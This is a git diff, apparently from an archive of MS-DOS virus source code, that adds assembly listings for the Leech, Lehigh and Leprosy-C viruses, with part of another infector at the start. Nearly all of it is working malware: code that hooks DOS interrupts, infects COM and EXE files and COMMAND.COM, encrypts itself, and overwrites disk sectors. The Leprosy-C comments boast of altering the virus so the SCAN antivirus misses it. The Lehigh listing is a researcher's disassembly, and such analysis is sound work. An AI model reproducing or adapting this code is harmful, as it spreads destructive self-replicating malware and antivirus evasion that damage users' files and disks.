byte ptr cs:[tickstore-start] + jnz callorig21 ; Continue if not 0 + push es + xor ax,ax + push ax + mov es,ax + mov al,es:[46Ch] ; 40h:6Ch = Timer ticks + ; since midnight + and al,7 ; MOD 15 + inc ax + inc ax + mov cs:[tickstore-start],al ; # 2-17 + pop ax + pop es + iret +CheckID: ; ID Check + mov bx,0FFEEh ; FFEEh = -12h + iret +Execute: ; Execute + push ax ; Save registers + push cx + push es + push bx + push ds ; DS:DX -> filename + push dx ; save it on stack + push bp + mov bp,sp ; Set up stack frame + sub sp,0Ah ; Temporary variables + ; [bp-A] = attributes + ; [bp-8] = int 24 off + ; [bp-6] = int 24 seg + ; [bp-4] = file time + ; [bp-2] = file date + sti + push cs + pop ds + mov ax,3301h ; Turn off ^C check + xor dl,dl ; (never turn it back + call int21 ; on. Bug???) + mov ax,3524h ; Get int 24h + call int21 ; (Critical error) + mov [bp-8],bx + mov [bp-6],es + mov dx,int24-start + mov ax,2524h ; Set to new one + call int21 + mov ax,4300h ; Get attributes + call int21DSDX + jnc continue +doneinfect: + mov ax,2524h ; Restore crit error + lds dx,dword ptr [bp-8] ; handler + call int21 + cli + mov sp,bp + pop bp + pop dx + pop ds + pop bx + pop es + pop cx + pop ax + jmp short callorig21 ; Call orig handler +continue: + mov [bp-0Ah],cx ; Save attributes + test cl,1 ; Check if r/o???? + jz noclearattr + xor cx,cx + mov ax,4301h ; Clear attributes + call int21DSDX ; Filename in DS:DX + jc doneinfect ; Quit on error +noclearattr: + mov ax,3D02h ; Open read/write + call int21DSDX ; Filename in DS:DX + jc doneinfect ; Exit if error + mov bx,ax + mov ax,5700h ; Save time/date + call int21 + mov [bp-4],cx + mov [bp-2],dx + mov dx,buffer-start + mov cx,4 + mov ah,3Fh ; Read 4 bytes to + call int21 ; buffer + jc quitinf + cmp byte ptr ds:[buffer-start],0E9h; Must start with 0E9h + jne quitinf ; Otherwise, quit + mov dx,word ptr ds:[buffer+1-start]; dx = jmploc + dec dx + xor cx,cx + mov ax,4201h ; go there + call int21 + mov ds:[buffer-start],ax ; new location offset + mov dx,orig4-start + mov cx,4 + mov ah,3Fh ; Read 4 bytes there + call int21 + mov dx,ds:[orig4-start] + cmp dl,0E9h ; 0E9h means we might + jne infect ; already be there + mov ax,ds:[orig4+2-start] ; continue checking + add al,dh ; to see if we really + sub al,ah ; are there. + jz quitinf +infect: + xor cx,cx + mov dx,cx + mov ax,4202h ; Go to EOF + call int21 + mov ds:[buffer+2-start],ax ; save filesize + mov cx,204h + mov ah,40h ; Write virus + call int21 + jc quitinf ; Exit if error + sub cx,ax + jnz quitinf + mov dx,ds:[buffer-start] + mov ax,ds:[buffer+2-start] + sub ax,dx + sub ax,3 ; AX->jmp offset + mov word ptr ds:[buffer+1-start],ax; Set up buffer + mov byte ptr ds:[buffer-start],0E9h; code the jmp + add al,ah + mov byte ptr ds:[buffer+3-start],al + mov ax,4200h ; Rewind to jmploc + call int21 + mov dx, buffer-start + mov cx,4 ; Write in the jmp + mov ah,40h + call int21 +quitinf: + mov cx,[bp-4] + mov dx,[bp-2] + mov ax,5701h ; Restore date/time + call int21 + mov ah,3Eh ; Close file + call int21 + mov cx,[bp-0Ah] ; Restore attributes + mov ax,4301h + call int21DSDX + jmp doneinfect ; Return +ussr516 ends + end stub diff --git a/l/LEECH.ASM b/l/LEECH.ASM new file mode 100755 index 0000000..fafaeac --- /dev/null +++ b/l/LEECH.ASM @@ -0,0 +1,498 @@ +code segment + assume cs:code + org 100h + +start: + jmp begin + + org 200h +begin: + jmp short beg + +FileSize dw 0E00h; 02h +int21vec dd 0 ; 04h +oldint13 dd 0 ; 08h +oldint24 dd 0 ; 0Ch +Date dw 0 ; 10h +Time dw 0 ; 12h + db 1 ; 14h +version dw 0 ; 15h - mutation status + +beg: + call codenext +codenext: + pop si +mutation1: + cli + push ds + pop es + mov bp,sp + mov sp,si + add sp,3FEh-(offset codenext-offset begin) +mutation2: + mov cx,ss + mov ax,cs + mov ss,ax + pop bx + dec sp + dec sp + add si,offset mybeg-offset codenext +codeloop: + pop ax + xor al,bh + push ax + dec sp + cmp sp,si + jnc codeloop +mybeg: + mov ax,es + dec ax + mov ds,ax + add word ptr ds:[3],-082h + mov bx,ds:[3] + mov byte ptr ds:[0],5ah + inc ax + inc bx + add bx,ax + mov es,bx + mov ss,cx + add si,offset begin-offset mybeg + mov bx,ds + mov ds,ax + mov sp,bp + push si + xor di,di + mov cx,400h + cld + rep movsb + pop si + push bx + mov bx,offset inblock-offset begin + push es + push bx + retf +inblock: + mov es,ax + mov ax,cs:[2] ; File Size + add ax,100h + mov di,si + mov si,ax + mov cx,400h + rep movsb + pop es + xor ax,ax + mov ds,ax + sti + cmp word ptr ds:[21h*4],offset int21-offset begin + jne count + sub word ptr es:[3],-082h + test byte ptr ds:[46ch],11100111b + jnz efect1 + push cs + pop ds + mov si,offset msg-offset begin +efect2: + lodsb + or al,0 + jz efect3 + mov ah,0eh + int 10h + jmp short efect2 +efect3: + mov ah,32h + xor dl,dl + int 21h + jc efect1 + call setaddr + call setint + mov dx,ds:[bx+10h] + mov ah,19h + int 21h + mov cx,2 + int 26h + pop bx + call setint +efect1: + jmp quit +count: + add word ptr es:[12h],-082h + mov bx,ds:[46ch] + push ds + push cs + pop ds + push cs + pop es + mov byte ptr ds:[14h],1 + and bh,80h + mov ds:[4ffh],bh + test bl,00000001b + jnz mut1 + mov si,offset mutation1-offset begin + add si,ds:[15h] + lodsb + xchg al,ds:[si] + mov ds:[si-1],al +mut1: + test bl,00000010b + jnz mut2 + mov si,offset mutation2-offset begin + add si,ds:[15h] + lodsw + xchg ax,ds:[si] + mov ds:[si-2],ax +mut2: + test bl,00000100b + jnz mut3 + mov si,offset codeloop-offset begin + mov al,2 + xor byte ptr ds:[si],al + xor byte ptr ds:[si+2],al + xor byte ptr ds:[si+3],al +mut3: + test bl,00001000b + jnz mut4 + mov si,offset codenext-offset begin + mov di,400h + mov cx,offset codeloop-offset codenext-2 + push si + push di + lodsb + cmp al,5eh + je jmp1 + inc si +jmp1: + push cx + rep movsb + pop cx + pop si + pop di + cmp al,5eh + je jmp2 + mov al,5Eh + stosb + rep movsb + mov al,90h + stosb + xor ax,ax + jmp short jmp3 +jmp2: + mov ax,0C68Fh + stosw + rep movsb + mov ax,1 +jmp3: + mov cs:[15h],ax +mut4: + mov ah,30h + int 21h + cmp ax,1e03h + jne nodos33 + mov ah,34h + int 21h + mov bx,1460h + jmp short dos33 +nodos33: + mov ax,3521h + int 21h +dos33: + mov ds:[4],bx + mov ds:[6],es + mov si,21h*4 + pop ds + push si + push cs + pop es + mov di,offset intend-offset begin+1 + movsw + movsw + pop di + push ds + pop es + mov ax,offset int21-offset begin + stosw + mov ax,cs + stosw + mov di,offset mybeg-offset begin + mov al,cs:[3ffh] +coderloop: + xor cs:[di],al + inc di + cmp di,offset coderloop-offset begin + jc coderloop +quit: + mov ah,62h + int 21h + push bx + mov ds,bx + mov es,bx + mov ax,100h + push ax + retf +;------------------------------------------------------------------------------ +infect: + push si + push ds + push es + push di + cld + push cs + pop ds + xor dx,dx + call movefp + mov dx,400h + mov ah,3fh + mov cx,3 + call Dos + jc infect4 + xor di,di + mov ax,word ptr ds:[400h] + mov cx,ds:[0] + cmp cx,ax + je infect8 + cmp al,0EBH ; near jmp + jne infect1 + mov al,ah + xor ah,ah + add ax,2 + mov di,ax +infect1: + cmp al,0E9h ; far jmp + jne infect2 + mov ax,ds:[401h] + add ax,3 + mov di,ax + xor ax,ax +infect2: + cmp ax,'MZ' + je infect4 + cmp ax,'ZM' + jne infect3 +infect4: + stc +infect8: + jmp infectquit +infect3: + mov dx,di + push cx + call movefp + mov dx,400h + mov ah,3fh + mov cx,dx + call Dos + pop cx + jc infect4 + cmp ds:[400h],cx + je infect8 + mov ax,di + sub ah,-4 + cmp ax,ds:[2] + jnc infect4 + mov dx,ds:[2] + call movefp + mov dx,400h + mov cx,dx + mov ah,40h + call Dos +infect6: + jc infectquit + mov dx,di + call movefp + push cs + pop es + mov di,400h + push di + push di + xor si,si + mov cx,di + rep movsb + mov si,400h+offset coderloop-offset begin + mov al,ds:[7ffh] +infect5: + xor ds:[si],al + inc si + cmp si,07ffh + jc infect5 + pop cx + pop dx + mov ah,40h + call Dos +infectquit: + pop di + pop es + pop ds + pop si + ret +int21: + cmp ax,4b00h + je exec + cmp ah,3eh + je close + cmp ah,11h + je dir + cmp ah,12h + je dir +intend: + db 0eah,0,0,0,0 + +dir: + push si + mov si,offset intend-offset begin+1 + pushf + call dword ptr cs:[si] + pop si + push ax + push bx + push es + mov ah,2fh + call dos + cmp byte ptr es:[bx],0ffh + jne dir2 + add bx,7 +dir2: + mov ax,es:[bx+17h] + and ax,1fh + cmp ax,1eh + jne dir1 + mov ax,es:[bx+1dh] + cmp ax,0801h + jc dir1 + sub ax,400h + mov es:[bx+1dh],ax +dir1: + pop es + pop bx + pop ax + iret +int24: + mov al,3 + iret +Dos: + pushf + call dword ptr cs:[4] + ret +moveFP: + xor cx,cx + mov ax,4200h + call Dos + ret +exec: + push ax + push bx + mov byte ptr cs:[14h],0 + mov ax,3d00h + call dos + mov bx,ax + mov ah,3eh + int 21h + pop bx + pop ax +intendjmp: + jmp short intend +close: + or byte ptr cs:[14h],0 + jnz intendjmp + push cx + push dx + push di + push es + push ax + push bx + call setaddr + call setint + mov ax,1220h + int 2fh + jc closequit + mov ax,1216h + mov bl,es:[di] + xor bh,bh + int 2fh + mov ax,es:[di+11h] + mov cs:[2],ax + mov ax,es:[di+0dh] + and al,0f8h + mov cs:[12h],ax + mov ax,es:[di+0fh] + mov cs:[10h],ax + cmp word ptr es:[di+29h],'MO' + jne closequit + cmp byte ptr es:[di+28h],'C' + jne closequit + cmp cs:[2],0FA00h + jnc closequit + mov al,20h + xchg al,es:[di+4] + mov ah,2 + xchg es:[di+2],ah + pop bx + push bx + push ax + call infect + pop ax + mov es:[di+4],al + mov es:[di+2],ah + mov cx,cs:[12h] + jc close1 + or cl,1fh + and cl,0feh +close1: + mov dx,cs:[10h] + mov ax,5701h + call Dos +closequit: + pop bx + pop ax + pop es + pop di + pop dx + pop cx + call dos + call setint + retf 02 +setaddr: + mov ah,13h + int 2fh + mov cs:[8d],bx + mov cs:[10d],es + int 2fh + mov cs:[12d],offset int24-offset begin + mov cs:[14d],cs + ret +setint: + push ax + push si + push ds + pushf + cli + cld + xor ax,ax + mov ds,ax + mov si,13h*4 + lodsw + xchg ax,cs:[8] + mov ds:[si-2],ax + lodsw + xchg ax,cs:[10d] + mov ds:[si-2],ax + mov si,24h*4 + lodsw + xchg ax,cs:[12d] + mov ds:[si-2],ax + lodsw + xchg ax,cs:[14d] + mov ds:[si-2],ax + popf + pop ds + pop si + pop ax + ret +msg: + db 'The leech live ...',0 + db 'April 1991 The Topler.',0 + + org 0F00h + + int 20h + +code ends + end start + \ No newline at end of file diff --git a/l/LEHIGH.ASM b/l/LEHIGH.ASM new file mode 100755 index 0000000..5d3e42a --- /dev/null +++ b/l/LEHIGH.ASM @@ -0,0 +1,315 @@ + page 65,132 + title The 'Lehigh' Virus +; ͻ +; British Computer Virus Research Centre +; 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England +; Telephone: Domestic 0273-26105, International +44-273-26105 +; +; The 'Lehigh' Virus +; Disassembled by Joe Hirst, July 1989 +;  +; Copyright (c) Joe Hirst 1989. +; +; This listing is only to be made available to virus researchers +; or software writers on a need-to-know basis. +; ͼ + + ; The disassembly has been tested by re-assembly using MASM 5.0. + +CODE SEGMENT BYTE PUBLIC 'CODE' + ASSUME CS:CODE,DS:CODE + + ; Interrupt 21H routine + +BP0010: PUSH AX + PUSH BX + CMP AH,4BH ; Load function? + JE BP0020 ; Branch if yes + CMP AH,4EH ; Find file file? + JE BP0020 ; Branch if yes + JMP BP0170 ; Pass interrupt on + + ; Load or find file function + +BP0020: MOV BX,DX ; Get pathname pointer + CMP BYTE PTR [BX+1],':' ; Is a disk specified? + JNE BP0030 ; Branch if not + MOV AL,[BX] ; Get disk letter + JMP BP0040 + + ; Is there a COMMAND.COM on disk? + +BP0030: MOV AH,19H ; Get current disk function + INT 44H ; DOS service (diverted INT 21H) + ADD AL,'a' ; Convert to letter +BP0040: PUSH DS + PUSH CX + PUSH DX + PUSH DI + PUSH CS ; \ Set DS to CS + POP DS ; / + MOV BX,OFFSET PATHNM ; Address pathname + MOV [BX],AL ; Store disk letter in pathname + MOV DX,BX ; Move pathname address + MOV AX,3D02H ; Open handle (R/W) function + INT 44H ; DOS service (diverted INT 21H) + JNB BP0050 ; Branch if no error + JMP BP0160 ; Restore registers and terminate + + ; Is COMMAND.COM infected? + +BP0050: MOV BX,AX ; Move file handle + MOV AX,4202H ; Move file pointer function (EOF) + XOR CX,CX ; \ No offset + MOV DX,CX ; / + INT 44H ; DOS service (diverted INT 21H) + MOV DX,AX ; Copy file length + MOV FILELN,AX ; Save file length + SUB DX,2 ; Address last word of file + MOV AX,4200H ; Move file pointer function (start) + INT 44H ; DOS service (diverted INT 21H) + MOV DX,OFFSET BUFFER ; Address read buffer + MOV CX,2 ; Length to read + MOV AH,3FH ; Read handle function + INT 44H ; DOS service (diverted INT 21H) + CMP WORD PTR BUFFER,65A9H ; Is file infected? + JNE BP0060 ; Branch if not + JMP BP0080 + + ; Infect COMMAND.COM + +BP0060: XOR DX,DX ; \ No offset + MOV CX,DX ; / + MOV AX,4200H ; Move file pointer function (start) + INT 44H ; DOS service (diverted INT 21H) + MOV CX,3 ; Length to read + MOV DX,OFFSET BUFFER ; Address read buffer + MOV DI,DX ; Copy address + MOV AH,3FH ; Read handle function + INT 44H ; DOS service (diverted INT 21H) + MOV AX,[DI+1] ; Get displacement from initial jump + ADD AX,0103H ; Convert to address for COM file + MOV ENTPTR,AX ; Save file entry address + MOV DX,FILELN ; Get file length + SUB DX,OFFSET ENDADR ; Subtract length of virus + DEC DX ; ...and one more + MOV [DI],DX ; Put offset into jump instruction + XOR CX,CX ; Clear high offset for move + MOV AX,4200H ; Move file pointer function (start) + INT 44H ; DOS service (diverted INT 21H) + MOV AL,INFCNT ; Get infection count + PUSH AX ; Preserve infection count + MOV BYTE PTR INFCNT,0 ; Set infection count to zero + MOV CX,OFFSET ENDADR ; \ Get length of virus + INC CX ; / + XOR DX,DX ; Address start of virus + MOV AH,40H ; Write handle function + INT 44H ; DOS service (diverted INT 21H) + POP AX ; Recover infection count + MOV INFCNT,AL ; Restore original infection count + XOR CX,CX ; \ Address second byte of program + MOV DX,1 ; / + MOV AX,4200H ; Move file pointer function (start) + INT 44H ; DOS service (diverted INT 21H) + MOV AX,[DI] ; Get virus offset + ADD AX,OFFSET BP0180 ; Add entry point + SUB AX,3 ; Subtract length of jump instruction + MOV [DI],AX ; Replace offset + MOV DX,DI ; Address stored offset + MOV CX,2 ; Length to write + MOV AH,40H ; Write handle function + INT 44H ; DOS service (diverted INT 21H) + INC BYTE PTR INFCNT ; Increment infection count + CMP BYTE PTR INFCNT,4 ; Have we reached target? + JB BP0070 ; Branch if not + JMP BP0110 ; Trash disk + + ; Is disk A or B? + +BP0070: MOV BYTE PTR N_AORB,0 ; Set off "not A or B" switch + CMP BYTE PTR CURDSK,2 ; Is current disk A or B? + JB BP0080 ; Branch if yes + MOV BYTE PTR N_AORB,1 ; Set on "not A or B" switch +BP0080: MOV AH,3EH ; Close handle function + INT 44H ; DOS service (diverted INT 21H) + CMP BYTE PTR N_AORB,1 ; Is "not A or B" switch on? + JE BP0090 ; Branch if yes + JMP BP0160 ; Restore registers and terminate + + ; Disk not A or B + +BP0090: MOV BYTE PTR N_AORB,0 ; Set off "not A or B" switch + MOV BX,OFFSET PATHNM ; Address pathname + MOV AL,CURDSK ; Get current disk + ADD AL,'a' ; Convert to letter + MOV [BX],AL ; Store letter in pathname + MOV DX,BX ; Move pathname address + MOV AX,3D02H ; Open handle (R/W) function + INT 44H ; DOS service (diverted INT 21H) + JNB BP0100 ; Branch if no error + JMP BP0160 ; Restore registers and terminate + + ; Set infection count same as in current program + +BP0100: MOV BX,AX + MOV AX,4202H ; Move file pointer function (EOF) + XOR CX,CX ; \ No offset + MOV DX,CX ; / + INT 44H ; DOS service (diverted INT 21H) + MOV DX,AX ; \ Address back to infection count + SUB DX,7 ; / + MOV AX,4200H ; Move file pointer function (start) + INT 44H ; DOS service (diverted INT 21H) + MOV CX,1 ; Length to write + MOV DX,OFFSET INFCNT ; Address infection count + MOV AH,40H ; Write handle function + INT 44H ; DOS service (diverted INT 21H) + MOV AH,3EH ; Close handle function + INT 44H ; DOS service (diverted INT 21H) + JMP BP0160 ; Restore registers and terminate + + ; Trash disk + +BP0110: MOV AL,CURDSK ; Get current disk + CMP AL,2 ; Is disk A or B? + JNB BP0150 ; Branch if not + MOV AH,19H ; Get current disk function + INT 44H ; DOS service (diverted INT 21H) + MOV BX,OFFSET PATHNM ; Address pathname + MOV DL,[BX] ; Get drive letter from pathname + CMP DL,'A' ; Is drive letter 'A'? + JE BP0120 ; Branch if yes + CMP DL,'a' ; Is drive letter 'a'? + JE BP0120 ; Branch if yes + CMP DL,'b' ; Is drive letter 'b'? + JE BP0130 ; Branch if yes + CMP DL,'B' ; Is drive letter 'B'? + JE BP0130 ; Branch if yes + JMP BP0160 ; Restore registers and terminate + + ; Drive A + +BP0120: MOV DL,0 ; Set drive A + JMP BP0140 + + ; Drive B + +BP0130: MOV DL,1 ; Set drive B +BP0140: CMP AL,DL ; Is this the same as current? + JNE BP0150 ; Branch if not + JMP BP0160 ; Restore registers and terminate + + ; Write lump of BIOS to floppy disk + +BP0150: MOV SI,0FE00H ; \ Address BIOS (?) + MOV DS,SI ; / + MOV CX,0020H ; Write 32 sectors + MOV DX,1 ; Start at sector one + INT 26H ; Absolute disk write + POPF + MOV AH,9 ; Display string function + MOV DX,1840H + INT 44H ; DOS service (diverted INT 21H) +BP0160: POP DI + POP DX + POP CX + POP DS +BP0170: POP BX + POP AX + JMP CS:INT_21 ; Branch to original Int 21H + + ; Original Int 21H vector + +INT_21 EQU THIS DWORD + DW 138DH ; Int 21H offset + DW 0295H ; Int 21H segment + + ; Entry point for infected program + +BP0180: CALL BP0190 ; \ Get current address +BP0190: POP SI ; / + SUB SI,3 ; Address back to BP0180 + MOV BX,SI ; \ Address of virus start + SUB BX,OFFSET BP0180 ; / + PUSH BX ; Save address of virus start + ADD BX,OFFSET FILELN ; Address file length + MOV AH,19H ; Get current disk function + INT 21H ; DOS service + MOV [BX-1],AL ; Save current disk + MOV AX,[BX] ; Get file length + ADD AX,0100H ; Add PSP length + MOV CL,4 ; \ Convert to paragraphs + SHR AX,CL ; / + INC AX ; Allow for remainder + MOV BX,AX ; Copy paragraphs to keep + MOV AH,4AH ; Set block function + INT 21H ; DOS service + JNB BP0200 ; Branch if no error + JMP BP0220 ; Pass control to host + + ; Allocate memory for virus + +BP0200: MOV CL,4 ; Bits to move + MOV DX,OFFSET ENDADR ; Length of virus + SHR DX,CL ; Convert to paragraphs + INC DX ; Allow for remainder + MOV BX,DX ; Copy paragraphs for virus + MOV AH,48H ; Allocate memory function + INT 21H ; DOS service + JNB BP0210 ; Branch if no error + JMP BP0220 ; Pass control to host + + ; Install virus in memory + +BP0210: PUSH ES + PUSH AX ; Preserve allocated memory segment + MOV AX,3521H ; Get Int 21H function + INT 21H ; DOS service + MOV [SI-4],BX ; Save Int 21H offset + MOV [SI-2],ES ; Save Int 21H segment + POP ES ; Recover allocated memory segment + PUSH SI + SUB SI,OFFSET BP0180 ; Address back to start of virus + XOR DI,DI ; Target start of new area + MOV CX,OFFSET ENDADR ; \ Length of virus + INC CX ; / + REPZ MOVSB ; Copy virus to new area + POP SI + PUSH DS + MOV DX,[SI-4] ; Get Int 21H offset + MOV AX,[SI-2] ; \ Set DS to Int 21H segment + MOV DS,AX ; / + MOV AX,2544H ; Set Int 44H function + INT 21H ; DOS service + PUSH ES ; \ Set DS to ES + POP DS ; / + XOR DX,DX ; Interrupt 21H routine (BP0010) + MOV AX,2521H ; Set Int 21H function + INT 44H ; DOS service (diverted INT 21H) + POP DS + POP ES +BP0220: POP BX + PUSH ENTPTR[BX] ; Push COM file entry address + RET ; ...and return to it + +PATHNM DB 'b:\command.com', 0 ; Pathname +BUFFER DB 7FH, 58H, 0BH, 0, 0 ; Read buffer +ENTPTR DW 0CB0H ; File entry address +N_AORB DB 0 ; "Not A or B" switch +INFCNT DB 0 ; Infection count + DB 0 +CURDSK DB 0 ; Current disk +FILELN DW 5AAAH ; File length + DW 65A9H ; Infection indicator + +ENDADR EQU $-1 + +CODE ENDS + + END + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; + diff --git a/l/LEPC.ASM b/l/LEPC.ASM new file mode 100755 index 0000000..f23db2a --- /dev/null +++ b/l/LEPC.ASM @@ -0,0 +1,297 @@ +; - Leprosy-B Virus Source +; Copy-ya-right (c) 1990 by PCM2. +; +; This file is the source code to the Leprosy-B virus. It should +; be assembled with an MASM-compatible assembler; it has been tested +; and assembles correctly with both MASM 4.0 and Turbo Assembler 1.0. +; It should be made into a .COM file before executing, with either +; the "/t" command line flag in TLINK or Microsoft's EXE2BIN utility. +; +; This program has the potential to permanently destroy executable +; images on any disk medium. Other modifications may have been made +; subsequent to the original release by the author, either benign, +; or which could result in further harm should this program be run. +; In any case, the author assumes no responsibility for any damage +; caused by this program, incidental or otherwise. As a precaution, +; this program should not be turned over to irresponsible hands... +; (unlike people like us, that is). +; +;;-=𰱲۲=-=𰱲۲=-=𰱲۲=-=𰱲۲=-=𰱲۲=-=𰱲۲=- +;; +;; - This virus is not really Leprosy-B. It is, in +;; fact, ALMOST the same. When I encountered the +;; source code and assembled it, I found, obviously +;; to my disappointment, that SCAN v77 could find +;; it. Since it is a self-encrypting virus, I knew +;; EXACTLY how to fix this problem (after all, +;; being part of McPhee's programs is a sure way to +;; know that your virus has been a big hit, but it +;; also means that it will soon meet a terrible end. +;; Presented with such a sad situation, I decided I +;; would modify the virus to give it one more shot +;; at the outside world. Not only that, but I will +;; make TWO new versions. This one, in particular, +;; will preserve the traditional length of 666, and +;; will only have a slight modification. You see, +;; since the virus encrypts itself, McPhee must go +;; on 1 or both of two paths. He must either use +;; the whole non-encrypted portion as an ID string, +;; or he must use the file offset where the value +;; for decrypting is normally stored, XOR it with +;; the rest of the program (this is how it encrypts +;; and decrypts itself), and then try to identify +;; the decrypted code as the virus. By changing +;; where the encryption value is stored in the non- +;; encrypted portion and putting a zero there in- +;; stead, (along with altering the primary instruc- +;; tions slightly), I have made it undetectable by +;; SCAN, despite the fact that it is (in all other +;; aspects) the same damn thing. +;; Have fun! +;; The BOOT SECTOR Infector... +;; +;; NOTE: Also, (in case you haven't already noticed) all of the changes +;; I make to this program will have a double semicolon (;;) on +;; them somewhere. This is to reinforce the fact that I DID +;; NOT do the original work on this virus. That credit is left +;; appropriately to PCM2. And I respect his brilliance in its +;; coding (especially the encrypt/decrypt portion!) +;; L8r peepz! +;; + + + + title "Leprosy-C Virus by PCM2, August 1990" +;; With additional modifications by TBSI, June 1991 + + +cr equ 13 ; Carriage return ASCII code +lf equ 10 ; Linefeed ASCII code +tab equ 9 ; Tab ASCII code +virus_size equ 666 ; Size of the virus file +code_start equ 100h ; Address right after PSP in memory +dta equ 80h ; Addr of default disk transfer area +datestamp equ 24 ; Offset in DTA of file's date stamp +timestamp equ 22 ; Offset in DTA of file's time stamp +filename equ 30 ; Offset in DTA of ASCIIZ filename +attribute equ 21 ; Offset in DTA of file attribute + + + code segment 'code' ; Open code segment + assume cs:code,ds:code ; One segment for both code & data + org code_start ; Start code image after PSP + +;--------------------------------------------------------------------- +; All executable code is contained in boundaries of procedure "main". +; The following code, until the start of "virus_code", is the non- +; encrypted CMT portion of the code to load up the real program. +;--------------------------------------------------------------------- +main proc near ; Code execution begins here + call encrypt_decrypt ; Decrypt the real virus code + jmp random_mutation ; Put the virus into action + db 0 ;; This line inserted by TBSI. If + ;; McPhee uses the second technique + ;; described in my speech, then it + ;; will find the zero and consider + ;; it to be the value it wants, even + ;; though using a zero will make it + ;; do absolutely NOTHING! +encrypt_val db 00h ; Hold value to encrypt by here + +; ---------- Encrypt, save, and restore the virus code ----------- +infect_file: + mov bx,handle ; Get the handle + push bx ; Save it on the stack + call encrypt_decrypt ; Encrypt most of the code + pop bx ; Get back the handle + nop ;; Added by TBSI to through of McPhee + mov cx,virus_size ; Total number of bytes to write + mov dx,code_start ; Buffer where code starts in memory + mov ah,40h ; DOS write-to-handle service + int 21h ; Write the virus code into the file + call encrypt_decrypt ; Restore the code as it was + ret ; Go back to where you came from + +; --------------- Encrypt or decrypt the virus code ---------------- +encrypt_decrypt: + mov bx,offset virus_code ; Get address to start encrypt/decrypt +xor_loop: ; Start cycle here + mov ah,[bx] ; Get the current byte + xor ah,encrypt_val ; Engage/disengage XOR scheme on it + mov [bx],ah ; Put it back where we got it + inc bx ; Move BX ahead a byte + nop ;; Added by TBSI to through of McPhee + cmp bx,offset virus_code+virus_size ; Are we at the end? + jle xor_loop ; If not, do another cycle + ret ; and go back where we came from + +;----------------------------------------------------------------------- +; The rest of the code from here on remains encrypted until run-time, +; using a fundamental XOR technique that changes via CMT. +;----------------------------------------------------------------------- +virus_code: + +;---------------------------------------------------------------------------- +; All strings are kept here in the file, and automatically encrypted. +; Please don't be a lamer and change the strings and say you wrote a virus. +; Because of Cybernetic Mutation Technology(tm), the CRC of this file often +; changes, even when the strings stay the same. +;---------------------------------------------------------------------------- +exe_filespec db "*.EXE",0 +com_filespec db "*.COM",0 +newdir db "..",0 +fake_msg db cr,lf,"Program too big to fit in memory$" +virus_msg1 db cr,lf,tab,"ATTENTION! Your computer has been afflicted with$" +virus_msg2 db cr,lf,tab,"the incurable decay that is the fate wrought by$" +virus_msg3 db cr,lf,tab,"Leprosy Strain B, a virus employing Cybernetic$" +virus_msg4 db cr,lf,tab,"Mutation Technology(tm) and invented by PCM2 08/90.$" +compare_buf db 20 dup (?) ; Buffer to compare files in +files_found db ? +files_infected db ? +orig_time dw ? +orig_date dw ? +orig_attr dw ? +handle dw ? +success db ? + +random_mutation: ; First decide if virus is to mutate + mov ah,2ch ; Set up DOS function to get time + int 21h + cmp encrypt_val,0 ; Is this a first-run virus copy? + je install_val ; If so, install whatever you get. + cmp dh,15 ; Is it less than 16 seconds? + jg find_extension ; If not, don't mutate this time +install_val: + cmp dl,0 ; Will we be encrypting using zero? + je random_mutation ; If so, get a new value. + mov encrypt_val,dl ; Otherwise, save the new value +find_extension: ; Locate file w/ valid extension + mov files_found,0 ; Count infected files found + mov files_infected,4 ; BX counts file infected so far + mov success,0 +find_exe: + mov cx,00100111b ; Look for all flat file attributes + mov dx,offset exe_filespec ; Check for .EXE extension first + mov ah,4eh ; Call DOS find first service + int 21h + cmp ax,12h ; Are no files found? + je find_com ; If not, nothing more to do + call find_healthy ; Otherwise, try to find healthy .EXE +find_com: + mov cx,00100111b ; Look for all flat file attributes + mov dx,offset com_filespec ; Check for .COM extension now + mov ah,4eh ; Call DOS find first service + int 21h + cmp ax,12h ; Are no files found? + je chdir ; If not, step back a directory + call find_healthy ; Otherwise, try to find healthy .COM +chdir: ; Routine to step back one level + mov dx,offset newdir ; Load DX with address of pathname + mov ah,3bh ; Change directory DOS service + int 21h + dec files_infected ; This counts as infecting a file + jnz find_exe ; If we're still rolling, find another + jmp exit_virus ; Otherwise let's pack it up +find_healthy: + mov bx,dta ; Point BX to address of DTA + mov ax,[bx]+attribute ; Get the current file's attribute + mov orig_attr,ax ; Save it + mov ax,[bx]+timestamp ; Get the current file's time stamp + mov orig_time,ax ; Save it + mov ax,[bx]+datestamp ; Get the current file's data stamp + mov orig_date,ax ; Save it + mov dx,dta+filename ; Get the filename to change attribute + mov cx,0 ; Clear all attribute bytes + mov al,1 ; Set attribute sub-function + mov ah,43h ; Call DOS service to do it + int 21h + mov al,2 ; Set up to open handle for read/write + mov ah,3dh ; Open file handle DOS service + int 21h + mov handle,ax ; Save the file handle + mov bx,ax ; Transfer the handle to BX for read + mov cx,20 ; Read in the top 20 bytes of file + mov dx,offset compare_buf ; Use the small buffer up top + mov ah,3fh ; DOS read-from-handle service + int 21h + mov bx,offset compare_buf ; Adjust the encryption value + mov ah,encrypt_val ; for accurate comparison + mov [bx+6],ah + mov si,code_start ; One array to compare is this file + mov di,offset compare_buf ; The other array is the buffer + mov ax,ds ; Transfer the DS register... + mov es,ax ; ...to the ES register + cld + repe cmpsb ; Compare the buffer to the virus + jne healthy ; If different, the file is healthy! + call close_file ; Close it up otherwise + inc files_found ; Chalk up another fucked up file +continue_search: + mov ah,4fh ; Find next DOS function + int 21h ; Try to find another same type file + cmp ax,12h ; Are there any more files? + je no_more_found ; If not, get outta here + jmp find_healthy ; If so, try the process on this one! +no_more_found: + ret ; Go back to where we came from +healthy: + mov bx,handle ; Get the file handle + mov ah,3eh ; Close it for now + int 21h + mov ah,3dh ; Open it again, to reset it + mov dx,dta+filename + mov al,2 + int 21h + mov handle,ax ; Save the handle again + call infect_file ; Infect the healthy file + call close_file ; Close down this operation + inc success ; Indicate we did something this time + dec files_infected ; Scratch off another file on agenda + jz exit_virus ; If we're through, terminate + jmp continue_search ; Otherwise, try another + ret +close_file: + mov bx,handle ; Get the file handle off the stack + mov cx,orig_time ; Get the date stamp + mov dx,orig_date ; Get the time stamp + mov al,1 ; Set file date/time sub-service + mov ah,57h ; Get/Set file date and time service + int 21h ; Call DOS + mov bx,handle + mov ah,3eh ; Close handle DOS service + int 21h + mov cx,orig_attr ; Get the file's original attribute + mov al,1 ; Instruct DOS to put it back there + mov dx,dta+filename ; Feed it the filename + mov ah,43h ; Call 